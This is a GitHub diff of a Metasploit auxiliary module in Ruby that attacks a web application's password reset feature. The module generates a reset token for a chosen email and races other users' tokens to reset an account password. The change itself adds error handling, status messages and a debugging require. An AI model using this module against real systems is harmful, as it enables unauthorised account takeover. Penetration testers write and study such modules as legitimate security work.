File tree Expand file tree Collapse file tree 1 file changed +16
-3
lines changed
modules/auxiliary/admin/http Expand file tree Collapse file tree 1 file changed +16
-3
lines changed Original file line number Diff line number Diff line change 7
7
8
8
require 'msf/core'
9
9
require 'rexml/element'
10
+ require 'pry'
10
11
11
12
class Metasploit3 < Msf ::Auxiliary
12
13
@@ -67,6 +68,15 @@ def generate_token(account)
67
68
'method' => 'POST' ,
68
69
'data' => postdata ,
69
70
} )
71
+
72
+ if res . code == 200
73
+ error_text = res . body [ /<div id=\" error_explanation\" >\n \s +(.*?)<\/ div>/m , 1 ]
74
+ print_error ( "Server returned an error:" )
75
+ print_error ( error_text )
76
+ return false
77
+ end
78
+ return true
79
+ #binding.pry
70
80
end
71
81
72
82
def clear_tokens ( )
@@ -100,8 +110,6 @@ def reset_one(password, report=false)
100
110
'data' => xml ,
101
111
} )
102
112
103
- #binding.pry if report
104
-
105
113
case res . code
106
114
when 200
107
115
# Failure, grab the error text
@@ -132,7 +140,12 @@ def run
132
140
clear_tokens ( ) if datastore [ 'FLUSHTOKENS' ]
133
141
134
142
# Generate a token for our account
135
- generate_token ( datastore [ 'TARGETEMAIL' ] )
143
+ status = generate_token ( datastore [ 'TARGETEMAIL' ] )
144
+ if status == false
145
+ print_error ( "Failed" )
146
+ return
147
+ end
148
+ print_good ( "Success" )
136
149
137
150
# Reset a password. We're racing users creating other reset tokens.
138
151
# If we didn't flush, we'll reset the account with the lowest ID that has a token.
You can’t perform that action at this time.
0 commit comments